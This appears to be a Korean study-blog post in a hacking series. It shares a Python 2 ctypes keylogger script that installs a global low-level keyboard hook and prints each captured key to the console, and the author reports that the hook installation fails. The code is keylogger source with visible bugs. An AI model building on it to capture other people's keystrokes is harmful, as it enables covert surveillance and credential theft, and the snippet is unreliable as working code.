728x90

키보드 후킹하는 코드를 작성했는데

 

setwindowshookex()함수에서 에러가 발생하는듯 하다

 

원인은 모르겠지만

 

안돌아가는걸 그냥 버리자니 아깝고 업로드

 

 

 

# -*- coding: utf-8 -*- 
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD


# windll로 user32.dll, kernel32.dll을 가져옴
user32 = windll.user32
kernel32 = windll.kernel32

# 사용되는 변수
WH_KEYBOARD_LL=13
WM_KEYDOWN=0x0100
CTRL_CODE = 162

#class definition
class KeyLogger:
    def __init__(self):
        self.lUser32 = user32
        self.hooked = None

    #훅 설정 정의. 모니터링 이벤트는 WH_KEYBOARD_LL, 범위는 전역
    def installHookProc(self, pointer):
        # 훅타입, 훅프로시저, dll 핸들, 후킹할 스레드 아이디(전역 -> 0)
        self.hooked = self.lUser32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )
        print self.hooked
        if not self.hooked:
            return False
        return True
    
    # release hook resource
    def uninstallHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

# setwindowshookexa() 함수에서 필요한 프로시저 인자와 타입 지정. 함수 포인터
def getFPTR(fn):
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

#메시지 종류가 WM_KEYDOWN이면 화면에 출력. CTRL이면 훅 제거
# wParam : virtual key code, lparam : extral info
def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)
    hookedKey = chr(lParam[0])
    print hookedKey
    if (CTRL_CODE == int(lParam[0])):
        print "Ctrl pressed. call uninstallHook()"
        KeyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)

# GetMessageA()함수로 큐 모니터링. 메시지오면 훅 체인으로 전달
def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg), 0, 0, 0)

#키로거 생성
KeyLogger = KeyLogger()
#훅 프로시저 함수포인터 획득
pointer = getFPTR(hookProc)
#키로거로 훅 프로세서 생성
if KeyLogger.installHookProc(pointer):
    print "installed keyLogger"
startKeyLog()

 

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

네트워크 기초 복습  (0) 2021.03.05
해킹 - 7. 이미지 해킹  (0) 2020.07.30
해킹 - 5. 후킹  (0) 2020.07.29
해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28

+ Recent posts